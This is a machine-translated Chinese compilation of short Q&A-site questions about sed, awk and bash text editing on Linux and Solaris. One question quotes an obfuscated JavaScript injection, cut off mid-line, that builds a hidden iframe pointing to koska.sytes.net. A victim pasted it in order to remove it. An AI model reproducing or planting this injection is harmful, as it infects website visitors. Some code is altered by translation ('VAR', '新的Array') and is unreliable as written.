我正在使用 Sed 查找和替换文件中的字符串。这是第一次使用它,所以我可能做错了,
我有一个名为“test.properties”的“root”拥有的文件,我想用“cat”替换“world”。
所以我运行这个命令:
sudo sed s/world/cat/ <test.properties >newtest.properties
Run Code Online (Sandbox Code Playgroud)
它工作得很好,但是当我想像这样写入相同的文件时:
sudo sed s/world/cat/ <test.properties >test.properties
Run Code Online (Sandbox Code Playgroud)
它说“-bash:test.properties:权限被拒绝”,但我使用的是“sudo”,为什么它被拒绝了?
我有一个脚本可以通过电子邮件将某些 linux 日志条目发送给我,并且我在 MS Outlook 中阅读了该电子邮件。
问题是所有行都一起运行,行之间没有换行符。
为了解决这个问题,我在邮件命令之前插入了sed "s/$/\n/",但这给了我电子邮件中每行之间的 2 个换行符!
在每行之间获得单个换行符的正确方法是什么(使用 sed)
我在服务器上的许多 .html 和 .php 文件中都有这个恶意软件代码。我需要使用删除它们
sed -i expression /home/通过用空格替换它来删除代码
VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs ='PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22' ; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f'; VAR nixyhgyjouf =“koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = '';VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = ''; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';VAR tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61'; VAR zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e'; VAR yydszqnduko =新的Array(); yydszqnduko [0] =新阵列(usikwseoomg + nimbchnzujc + szwtgmqzekr + yvofadunjkv + ylydzxyjaci + xwojmnoxfbs …我在 Solaris 机器和 Linux 机器上运行以下 sed 语法
在 Linux 机器上 sed 执行删除所有字符直到第一个数字的工作。
但是为什么这个 sed 语法在 Solaris 上不起作用?
我需要在 sed 语法中更改什么才能在 Solaris 上运行它?
在solaris上(sed - 在第一个数字之前不删除字符串?)
solaris:/ ROOT > echo "Release............5.3.7.1-12" | sed 's/[^0-9]\+//'
Release............5.3.7.1-12
Run Code Online (Sandbox Code Playgroud)
在 linux 上(我得到了很好的结果)
linux tmp]# echo "Linux Release............5.3.7.1-12" | sed 's/[^0-9]\+//'
5.3.7.1-12
Run Code Online (Sandbox Code Playgroud) 如何删除“。”之后的最后一个字符串 字符包括“。” 性格本身
Linux/Solaris操作系统下可以用sed实现
更改前的 IP 地址示例
192.9.200.1 ( need to remove the .1 )
Run Code Online (Sandbox Code Playgroud)
预期成绩
192.9.200
Run Code Online (Sandbox Code Playgroud)
另一个例子
100.2.2.101FFF
Run Code Online (Sandbox Code Playgroud)
预期成绩
100.2.2
Run Code Online (Sandbox Code Playgroud) 我正在尝试使用此表达式在给定字符串之后将一个文本文件的内容插入到另一个文本文件中。这是一个简单的 bash 脚本:
TEXT=`cat file1.txt`
sed -i "/teststring/a \
$TEXT" file2.txt
Run Code Online (Sandbox Code Playgroud)
这将返回错误,“sed:-e 表达式 #1,字符 37:未知命令:`M'”
问题在于 file1.txt 的内容实际上是一个私有证书,因此它包含大量文本和异常字符,这似乎导致了问题。如果我用一个简单的 ASCII 值替换 $TEXT ,它可以工作,但是当它读取 file1.txt 的大量内容时,它会因该错误而失败。
有什么方法可以执行此操作吗?我的语法是否与 sed 或我的引用位置错误有关?
我希望能够打印 bash 中的行数:行号(从顶部开始计算)-> 文件结尾
似乎 tail 只会从底部开始计算行数。
有谁知道如何做到这一点?谢谢。
我试过以下
# Where $1 is the file I'm reading in
# Get line number of error:
LINENUM=$( grep -n "$LAST_ERROR_DATE" $1 | egrep $LOG_THRESHOLD | grep $LAST_HOUR: | sed 's/:/ /g' | awk '{print $1}' | head -n 1 )
echo $LINENUM
# This returns 995
# Print everything from linenumber downwards
MESSAGE=$( awk 'NR >= $LINENUM' $1 )
Run Code Online (Sandbox Code Playgroud)
当我手动弹出 995 到 awk 而不是 $LINENUM 时,这有效,它似乎没有读取我的 bash 变量。有任何想法吗?
在部署此文件之后,我试图在配置文件中进行替换内联。我查看了 sed 文档,但无法正常工作。即使使用 -e 现在我 mv 到 .back 文件,然后 sed 到文件,通过 rm 文件完成。我确信有一种更简单的方法可以做到这一点,但无法让它发挥作用。
谢谢
mv file.conf file.back sed s/string/anotherstring/file.back > file.conf rm file.back
我需要 sed 删除该行的第一个和最后一个字符,例如源
(192.168.3.0)
Run Code Online (Sandbox Code Playgroud)
结果
192.168.3.0
Run Code Online (Sandbox Code Playgroud)
尝试这样:
sed 's/^.\(.*\).$/\1/'
Run Code Online (Sandbox Code Playgroud)
但它也会删除 0 个字符
如何避免这种行为?
sed ×10
bash ×4
linux ×4
solaris ×2
awk ×1
email ×1
formatting ×1
grep ×1
ksh ×1
log-files ×1
permissions ×1
scripting ×1
unix ×1
unix-shell ×1